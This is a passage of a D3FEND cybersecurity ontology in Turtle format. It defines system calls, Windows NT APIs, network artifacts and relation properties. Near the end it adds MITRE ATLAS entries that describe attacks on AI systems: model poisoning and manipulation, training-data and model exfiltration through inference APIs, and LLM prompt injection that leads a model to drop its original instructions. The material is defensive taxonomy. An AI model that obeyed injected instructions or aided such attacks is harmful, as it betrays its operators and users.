    d3f:definition "A device or system that takes information and generates a signal suitable for propagation. It encodes and formats the content, impresses it on a physical carrier (such as electromagnetic fields, light, electrical currents, or acoustic waves), and performs signal conditioning—such as modulation, pulse shaping, pre-emphasis, and power amplification—to meet spectral, timing, and power requirements. A transmitter may be analog or digital, implemented in hardware, software, or both, and is designed to launch the signal into the chosen medium with characteristics that enable reliable reception." ;
    d3f:transmits d3f:Signal ;
    rdfs:seeAlso <https://dbpedia.org/page/Signal_transmission> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:transmits ;
            owl:someValuesFrom d3f:Signal ],
        d3f:HardwareDevice .

d3f:TransportLayerEvent a owl:Class ;
    rdfs:label "Transport Layer Event" ;
    d3f:definition "An event occurring at the transport layer, responsible for end-to-end communication and data transfer management." ;
    rdfs:subClassOf d3f:NetworkEvent .

d3f:TrustedAttacker a owl:Class ;
    rdfs:label "Trusted Attacker" ;
    d3f:definition "An individual who exploits their authorized access to conduct unauthorized actions, either intentionally or through negligence." ;
    rdfs:subClassOf d3f:Attacker .

d3f:TunnelOpenEvent a owl:Class ;
    rdfs:label "Tunnel Open Event" ;
    d3f:definition "An event where a network tunnel is established, enabling encapsulated communication between endpoints. This marks the initiation of secure or isolated data transport through the tunnel." ;
    rdfs:subClassOf d3f:TunnelEvent .

d3f:URLReputationAnalysis a d3f:URLReputationAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "URL Reputation Analysis" ;
    d3f:analyzes d3f:URL ;
    d3f:d3fend-id "D3-URA" ;
    d3f:definition "Analyzing the reputation of a URL." ;
    d3f:kb-reference d3f:Reference-Finding_phishing_sites ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:URL ],
        d3f:IdentifierReputationAnalysis .

d3f:UnloadModule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Unload Module" ;
    d3f:definition "A system call that unloads a driver or extension from the kernel." ;
    d3f:unloads d3f:HardwareDriver,
        d3f:KernelModule ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:unloads ;
            owl:someValuesFrom d3f:HardwareDriver ],
        [ a owl:Restriction ;
            owl:onProperty d3f:unloads ;
            owl:someValuesFrom d3f:KernelModule ],
        d3f:SystemCall .

d3f:UserGroupPermissions a d3f:UserGroupPermissions,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "User Group Permissions" ;
    d3f:d3fend-id "D3F-UGPH" ;
    d3f:definition "Access control where access is determined based on attributes associated with users and the objects being accessed." ;
    d3f:kb-article """## How it works

Access is determined based on the attributes associated with subjects (requesters) and the objects being accessed. Each object and subject has a set of associated attributes, such as location, time of creation, and access rights. Access to an object is authorized or denied depending on whether the required. """ ;
    d3f:kb-reference d3f:Reference-GuidetoOTSecurity ;
    d3f:restricts d3f:UserGroup ;
    d3f:synonym "Role Based Access Controls" ;
    rdfs:isDefinedBy <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r3.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restricts ;
            owl:someValuesFrom d3f:UserGroup ],
        d3f:AccessPolicyAdministration .

d3f:UserInterface a owl:Class ;
    rdfs:label "User Interface" ;
    d3f:definition "The user interface (UI), in the industrial design field of human-machine interaction, is the space where interactions between humans and machines occur. The goal of this interaction is to allow effective operation and control of the machine from the human end, whilst the machine simultaneously feeds back information that aids the operators' decision-making process. Examples of this broad concept of user interfaces include the interactive aspects of computer operating systems, hand tools, heavy machinery operator controls, and process controls. The design considerations applicable when creating user interfaces are related to or involve such disciplines as ergonomics and psychology." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/User_interface> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "UI" .

d3f:VariableInitialization a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Variable Initialization" ;
    d3f:d3fend-id "D3-VI" ;
    d3f:definition "Setting variables to a known value before use." ;
    d3f:hardens d3f:Subroutine ;
    d3f:kb-article """## How it Works
Initializing variables upon declaration ensures that the variable has a known quantity before use.

## Considerations
* Default behavior when declaring variables varies by language.
* This is particularly important in programming languages that do not initialize variables to a default value upon declaration. In these instances, the value that a variable will contain after declaration is indeterminate which can cause issues. In fact, that value could be different each time the program is ran.
* Note: This resource should not be considered a definitive or exhaustive coding guideline.""" ;
    d3f:kb-reference d3f:Reference-CManualIntegerInitialization_GNU,
        d3f:Reference-VariableInitialization_CWE ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:SourceCodeHardening .

d3f:VectorImage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Vector Image" ;
    d3f:definition "A graphical image created using mathematical equations and geometric shapes defined by vectors." ;
    rdfs:subClassOf d3f:DigitalImage .

d3f:VolumeBootRecord a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Volume Boot Record" ;
    d3f:definition "A volume boot record (VBR) (also known as a volume boot sector, a partition boot record or a partition boot sector) is a type of boot sector introduced by the IBM Personal Computer. It may be found on a partitioned data storage device, such as a hard disk, or an unpartitioned device, such as a floppy disk, and contains machine code for bootstrapping programs (usually, but not necessarily, operating systems) stored in other parts of the device. On non-partitioned storage devices, it is the first sector of the device. On partitioned devices, it is the first sector of an individual partition on the device, with the first sector of the entire device being a Master Boot Record (MBR) containing the partition table." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Volume_boot_record> ;
    rdfs:subClassOf d3f:BootRecord .

d3f:WebResource a owl:Class ;
    rdfs:label "Web Resource" ;
    d3f:definition "A web resource is a resource identified by a Uniform Resource Identifier (URI) and made available from one host to another host via a web protocol and across a network or networks." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Web_resource> ;
    rdfs:subClassOf d3f:NetworkResource .

d3f:WebResourceAccess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Resource Access" ;
    d3f:definition "Ephemeral digital artifact comprising a request of a network resource and any response from that network resource using a standard web protocol." ;
    rdfs:subClassOf d3f:NetworkResourceAccess .

d3f:WebScriptFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Web Script File" ;
    d3f:definition "A file containing a script in a web-scripting programming language. Web scripts may be present and run on the client or on the server side." ;
    rdfs:subClassOf d3f:ExecutableScript ;
    skos:altLabel "Web Script" .

d3f:WindowsNTGetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtGetThreadContext" ;
    rdfs:subClassOf d3f:OSAPIGetThreadContext .

d3f:WindowsNtCreateFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreateFile" ;
    d3f:definition "Creates a new file or directory, or opens an existing file, device, directory, or volume." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile> ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:WindowsNtCreateMailslotFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreateMailslotFile" ;
    d3f:definition "Creates a special File Object called Mailslot." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:WindowsNtCreateNamedPipeFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreateNamedPipeFile" ;
    d3f:definition "Creates Named Pipe File Object." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:WindowsNtCreatePagingFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreatePagingFile" ;
    d3f:definition "Typically used by Control Panel's \"System\" applet for creating new paged files." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPICreateFile .

d3f:WindowsNtCreateProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreateProcess" ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPICreateProcess .

d3f:WindowsNtCreateProcessEx a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreateProcessEx" ;
    rdfs:subClassOf d3f:OSAPICreateProcess .

d3f:WindowsNtCreateThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtCreateThread" ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPICreateThread .

d3f:WindowsNtDeleteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtDeleteFile" ;
    d3f:definition "Deletes the specified file." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIDeleteFile .

d3f:WindowsNtDuplicateToken a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtDuplicateToken" ;
    d3f:definition "The NtDuplicateToken function creates a handle to a new access token that duplicates an existing token. This function can create either a primary token or an impersonation token." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/>,
        <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntduplicatetoken> ;
    rdfs:subClassOf d3f:OSAPICopyToken .

d3f:WindowsNtFlushInstructionCache a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtFlushInstructionCache" ;
    rdfs:subClassOf d3f:OSAPIWriteMemory .

d3f:WindowsNtFreeVirtualMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtFreeVirtualMemory" ;
    d3f:definition "The NtFreeVirtualMemory routine releases, decommits, or both releases and decommits, a region of pages within the virtual address space of a specified process." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfreevirtualmemory> ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIFreeMemory .

d3f:WindowsNtOpenFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtOpenFile" ;
    d3f:definition "The NtOpenFile routine opens an existing file, directory, device, or volume." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntopenfile> ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIOpenFile .

d3f:WindowsNtOpenProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtOpenProcess" ;
    d3f:definition "Opens a handle to process object and sets the access rights to this object." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess> ;
    rdfs:subClassOf d3f:OSAPITraceProcess .

d3f:WindowsNtOpenThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtOpenThread" ;
    d3f:definition "Opens a handle to a thread object with the access specified." ;
    rdfs:seeAlso <https://learn.microsoft.com/en-us/windows/win32/devnotes/ntopenthread> ;
    rdfs:subClassOf d3f:OSAPITraceThread .

d3f:WindowsNtQuerySystemTime a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtQuerySystemTime" ;
    d3f:definition "Returns current time in Coordinated Universal Time (UTC) 8-bytes format." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIGetSystemTime .

d3f:WindowsNtReadFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtReadFile" ;
    d3f:definition "The NtReadFile routine reads data from an open file." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntreadfile> ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIReadFile .

d3f:WindowsNtReadFileScatter a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtReadFileScatter" ;
    d3f:definition "Reads specified block from file into multiple buffers. Each buffer must have one page length." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIReadFile .

d3f:WindowsNtResumeThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtResumeThread" ;
    rdfs:subClassOf d3f:OSAPIResumeThread .

d3f:WindowsNtSetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtSetThreadContext" ;
    rdfs:subClassOf d3f:OSAPISetThreadContext .

d3f:WindowsNtSuspendThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtSuspendThread" ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPISuspendThread .

d3f:WindowsNtTerminateProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtTerminateProcess" ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPITerminateProcess .

d3f:WindowsNtWriteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtWriteFile" ;
    d3f:definition "Writes data to an open file." ;
    rdfs:isDefinedBy <https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntwritefile> ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIWriteFile .

d3f:WindowsNtWriteFileGather a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtWriteFileGather" ;
    d3f:definition "Writes specified block of file with data from memory pages." ;
    rdfs:seeAlso <https://j00ru.vexillium.org/syscalls/nt/64/> ;
    rdfs:subClassOf d3f:OSAPIWriteFile .

d3f:WindowsNtWriteVirtualMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows NtWriteVirtualMemory" ;
    rdfs:subClassOf d3f:OSAPIWriteMemory .

d3f:WindowsRegistryEvent a owl:Class ;
    rdfs:label "Windows Registry Event" ;
    d3f:definition "Events involving interactions with the Windows Registry, including keys, values, and associated security configurations." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:WindowsRegistry ],
        d3f:DigitalEvent .

d3f:WindowsShortcutFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Windows Shortcut File" ;
    d3f:definition "A Microsoft Windows shortcut file." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Shortcut_(computing)#Microsoft_Windows>,
        <http://dbpedia.org/resource/Symbolic_link#Shortcuts> ;
    rdfs:subClassOf d3f:ShortcutFile ;
    skos:altLabel "Shell Link" .

d3f:WirelessAccessPoint a owl:Class ;
    rdfs:label "Wireless Access Point" ;
    d3f:definition "In computer networking, a wireless access point (WAP), or more generally just access point (AP), is a networking hardware device that allows other Wi-Fi devices to connect to a wired network. The AP usually connects to a router (via a wired network) as a standalone device, but it can also be an integral component of the router itself. An AP is differentiated from a hotspot which is a physical location where Wi-Fi access is available." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Wireless_access_point> ;
    rdfs:subClassOf d3f:ComputerNetworkNode ;
    skos:altLabel "WAP" .

d3f:WriteFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Write File" ;
    d3f:definition "The write is one of the most basic routines provided by a Unix-like operating system kernel. It writes data from a buffer declared by the user to a given device, such as a file. This is the primary way to output data from a program by directly using a system call. The destination is identified by a numeric code. The data to be written, for instance a piece of text, is defined by a pointer and a size, given in number of bytes. write thus takes three arguments." ;
    d3f:modifies d3f:File ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Write_(system_call)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:File ],
        d3f:SystemCall .

d3f:WriteMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Write Memory" ;
    d3f:modifies d3f:MemoryBlock ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:SystemCall .

d3f:authorizes a owl:ObjectProperty ;
    rdfs:label "authorizes" ;
    d3f:definition "x authorizes y: A subject x grants authorization or clearance for an agent y to use an object.  This relation indicates an authorization event has occurred." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00804987-v> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/00805664-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:configures a owl:ObjectProperty ;
    rdfs:label "configures" ;
    d3f:definition "x configures y: The entity x sets the operational parameters of entity y, determining how y will operate." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:d3fend-artifact-data-property a owl:DatatypeProperty ;
    rdfs:label "d3fend-artifact-data-property" ;
    d3f:definition "x d3fend-artifact-data-property y: The artifact x has the data property y." ;
    rdfs:domain d3f:DigitalArtifact ;
    rdfs:subPropertyOf d3f:d3fend-data-property .

d3f:depends-on a owl:ObjectProperty ;
    rdfs:label "depends-on" ;
    d3f:definition "x depends-on y: The entity x is contingent on y being available; x relies on y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00729216-a> ;
    rdfs:seeAlso <https://www.cisa.gov/what-are-dependencies> ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:has-dependent .

d3f:drives a owl:ObjectProperty ;
    rdfs:label "drives" ;
    d3f:definition "x drives y: The device driver x causes a system component y to function by controlling it." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01184038-v> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Device_driver> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:enabled-by a owl:ObjectProperty ;
    rdfs:label "enabled-by" ;
    d3f:definition "x enabled-by y: A top level technique y enables a tactic x, that is, the property indicates that a technique y is used to put a particular tactic x into action. In other words, y renders x capable or able for some task.  Inverse of enables." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00513958-v> ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:enables .

d3f:identified-by a owl:ObjectProperty ;
    rdfs:label "identified-by" ;
    d3f:definition "x identified-by y: The entity x is recognized or described by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:identifies .

d3f:injects a owl:ObjectProperty ;
    rdfs:label "injects" ;
    d3f:definition "x injects y: The subject x takes the action of exploiting a security flaw by introducing (injecting) y, which is code or data that will change the course of execution or state of a computing process to an alternate course or state. Typically code injection is associated with adversaries intending the alternate course to facilitate a malevolent purpose; however, code injection can be unintentional or the intentions behind it may be good or benign." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Code_injection>,
        <http://wordnet-rdf.princeton.edu/id/00916722-v> ;
    rdfs:subPropertyOf d3f:executes .

d3f:kb-reference-of a owl:ObjectProperty ;
    rdfs:label "kb-reference-of" ;
    d3f:definition "x kb-is-example-of y: The reference x is an example of technique y." ;
    rdfs:range d3f:CyberTechnique ;
    rdfs:subPropertyOf d3f:d3fend-kb-object-property ;
    skos:altLabel "kb-is-example-of" .

d3f:limits a owl:ObjectProperty ;
    rdfs:label "limits" ;
    d3f:definition "x limits y: An entity x specifies a designated limit beyond which some entity y cannot function or must be terminated." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/13781154-n> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/13780436-n> ;
    rdfs:subPropertyOf d3f:restricts ;
    skos:altLabel "cutoff" .

d3f:may-be-accessed-by a owl:ObjectProperty ;
    rdfs:label "may-be-accessed-by" ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-be-tactically-associated-with a owl:ObjectProperty ;
    rdfs:label "may-be-tactically-associated-with" ;
    d3f:definition "x may-be-tactically-associated-with y: the defensive action x may be a tactic that counters offensive action y." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-counter a owl:ObjectProperty ;
    rdfs:label "may-counter" ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-have-weakness a owl:ObjectProperty ;
    rdfs:label "may-have-weakness" ;
    rdfs:domain d3f:Artifact ;
    rdfs:range d3f:Weakness ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-interpret a owl:ObjectProperty ;
    rdfs:label "may-interpret" ;
    d3f:definition "x may-interpret y: They entity x may interpret the thing y; that is, 'x interprets y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-map a owl:ObjectProperty ;
    rdfs:label "may-map" ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-run a owl:ObjectProperty ;
    rdfs:label "may-run" ;
    d3f:definition "x may-run y: They entity x may run the thing y; that is, 'x runs y' may be true." ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:modified-by a owl:ObjectProperty ;
    rdfs:label "modified-by" ;
    d3f:definition "x modified-by y: The entity x is changed by entity y." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-be-modified-by ;
    owl:inverseOf d3f:modifies .

d3f:obfuscates a owl:ObjectProperty ;
    rdfs:label "obfuscates" ;
    d3f:definition "x obfuscates y: The technique x makes the digital artifact y unclear or obscure.  Typically obfuscation is a way to hide a digital artifact from discovery, use, or both." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00942245-v> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Obfuscation_(software)> ;
    rdfs:subPropertyOf d3f:evicts,
        d3f:modifies .

d3f:operates a owl:ObjectProperty ;
    rdfs:label "operates" ;
    d3f:definition "x operates y: The entity x enables, activates, or controls the functioning or behavior of object y (operated entity), typically in accordance with the design or intended use of the operated entity." ;
    rdfs:isDefinedBy "oewn-01513459-v" ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:originates-from a owl:ObjectProperty ;
    rdfs:label "originates-from" ;
    d3f:definition "x originates-from y: The digital event or artifact x began its network transit from a physical location y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02749218-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:provider a owl:ObjectProperty ;
    rdfs:label "provider" ;
    d3f:definition "x provider y: A provider y is an entity that supplies a service, system, or data resources to a dependent entity x." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/05901034-n> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/10696710-n> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:quarantines a owl:ObjectProperty ;
    rdfs:label "quarantines" ;
    d3f:definition "x quarantines y: Technique x moves entity y to a place of isolation." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:restricted-by a owl:ObjectProperty ;
    rdfs:label "restricted-by" ;
    d3f:definition "x restricted-by y: The entity x is limited, constrained, or regulated by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:restricts .

d3f:resumes a owl:ObjectProperty ;
    rdfs:label "resumes" ;
    d3f:definition "The agent or technique x continues a previous action on entity y. Usually occurs after suspension on y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00350758-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:summarizes a owl:ObjectProperty ;
    rdfs:label "summarizes" ;
    d3f:definition "x summarizes y: The sensor x summarizes a set y of events concerning digital artifacts over time." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02758570-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:transmits a owl:ObjectProperty ;
    rdfs:label "transmits" ;
    d3f:definition "x transmits y: The subject x actively emits object y onto a communication medium, rendering y observable and available for reception on that medium." ;
    rdfs:subPropertyOf d3f:associated-with ;
    skos:altLabel "sends" .

d3f:unloads a owl:ObjectProperty ;
    rdfs:label "unloads" ;
    d3f:definition "x unloads y: The technique or artifact performs the action of unloading some artifact (applications, kernel modules, or hardware drivers, etc.) from a computer's memory." ;
    rdfs:subPropertyOf d3f:evicts .

d3f:used-by a owl:ObjectProperty ;
    rdfs:label "used-by" ;
    d3f:definition "x used-by y: is inverse of y uses x." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:uses .

d3f:windows-registry-data-property a owl:DatatypeProperty ;
    rdfs:label "windows-registry-data-property" ;
    d3f:definition "x windows-registry-data-property y: The windows registry entry x has the property y." ;
    rdfs:subPropertyOf d3f:d3fend-artifact-data-property .

d3f:AML.T0000 a owl:Class ;
    rdfs:label "Search Open Technical Databases - ATLAS" ;
    d3f:attack-id "AML.T0000" ;
    d3f:definition """Adversaries may search for publicly available research and technical documentation to learn how and where AI is used within a victim organization.
The adversary can use this information to identify targets for attack, or to tailor an existing attack to make it more effective.
Organizations often use open source model architectures trained on additional proprietary data in production.
Knowledge of this underlying architecture allows the adversary to craft more realistic proxy models ([Create Proxy AI Model](/techniques/AML.T0005)).
An adversary can search these resources for publications for authors employed at the victim organization.

Research and technical materials may exist as academic papers published in [Journals and Conference Proceedings](/techniques/AML.T0000.000), or stored in [Pre-Print Repositories](/techniques/AML.T0000.001), as well as [Technical Blogs](/techniques/AML.T0000.002).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0000> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Search Open Technical Databases" .

d3f:AML.T0005 a owl:Class ;
    rdfs:label "Create Proxy AI Model - ATLAS" ;
    d3f:attack-id "AML.T0005" ;
    d3f:definition """Adversaries may obtain models to serve as proxies for the target model in use at the victim organization.
Proxy models are used to simulate complete access to the target model in a fully offline manner.

Adversaries may train models from representative datasets, attempt to replicate models from victim inference APIs, or use available pre-trained models.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0005> ;
    rdfs:subClassOf d3f:ATLASAIAttackStagingTechnique ;
    skos:prefLabel "Create Proxy AI Model" .

d3f:AML.T0016 a owl:Class ;
    rdfs:label "Obtain Capabilities - ATLAS" ;
    d3f:attack-id "AML.T0016" ;
    d3f:definition """Adversaries may search for and obtain software capabilities for use in their operations.
Capabilities may be specific to AI-based attacks [Adversarial AI Attack Implementations](/techniques/AML.T0016.000) or generic software tools repurposed for malicious intent ([Software Tools](/techniques/AML.T0016.001)). In both instances, an adversary may modify or customize the capability to aid in targeting a particular AI-enabled system.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0016> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Obtain Capabilities" .

d3f:AML.T0018 a owl:Class ;
    rdfs:label "Manipulate AI Model - ATLAS" ;
    d3f:attack-id "AML.T0018" ;
    d3f:definition "Adversaries may directly manipulate an AI model to change its behavior or introduce malicious code. Manipulating a model gives the adversary a persistent change in the system. This can include poisoning the model by changing its weights, modifying the model architecture to change its behavior, and embedding malware which may be executed when the model is loaded." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0018> ;
    rdfs:subClassOf d3f:ATLASAIAttackStagingTechnique,
        d3f:ATLASPersistenceTechnique ;
    skos:prefLabel "Manipulate AI Model" .

d3f:AML.T0024 a owl:Class ;
    rdfs:label "Exfiltration via AI Inference API - ATLAS" ;
    d3f:attack-id "AML.T0024" ;
    d3f:definition """Adversaries may exfiltrate private information via [AI Model Inference API Access](/techniques/AML.T0040).
AI Models have been shown leak private information about their training data (e.g.  [Infer Training Data Membership](/techniques/AML.T0024.000), [Invert AI Model](/techniques/AML.T0024.001)).
The model itself may also be extracted ([Extract AI Model](/techniques/AML.T0024.002)) for the purposes of [AI Intellectual Property Theft](/techniques/AML.T0048.004).

Exfiltration of information relating to private training data raises privacy concerns.
Private training data may include personally identifiable information, or other protected data.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0024> ;
    rdfs:subClassOf d3f:ATLASExfiltrationTechnique ;
    skos:prefLabel "Exfiltration via AI Inference API" .

d3f:AML.T0051 a owl:Class ;
    rdfs:label "LLM Prompt Injection - ATLAS" ;
    d3f:attack-id "AML.T0051" ;
    d3f:definition """An adversary may craft malicious prompts as inputs to an LLM that cause the LLM to act in unintended ways.
These "prompt injections" are often designed to cause the model to ignore aspects of its original instructions and follow the adversary's instructions instead.

Prompt Injections can be an initial access vector to the LLM that provides the adversary with a foothold to carry out other steps in their operation.
They may be designed to bypass defenses in the LLM, or allow the adversary to issue privileged commands.
The effects of a prompt injection can persist throughout an interactive session with an LLM.

Malicious prompts may be injected directly by the adversary ([Direct](/techniques/AML.T0051.000)) either to leverage the LLM to generate harmful content or to gain a foothold on the system and lead to further effects.
Prompts may also be injected indirectly when as part of its normal operation the LLM ingests the malicious prompt from another data source ([Indirect](/techniques/AML.T0051.001)). This type of injection can be used by the adversary to a foothold on the system or to target the user of the LLM.
Malicious prompts may also be [Triggered](/techniques/AML.T0051.002) user actions or system events.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0051> ;
    rdfs:subClassOf d3f:ATLASExecutionTechnique ;
    skos:prefLabel "LLM Prompt Injection" .

d3f:AML.T0069 a owl:Class ;
    rdfs:label "Discover LLM System Information - ATLAS" ;
    d3f:attack-id "AML.T0069" ;
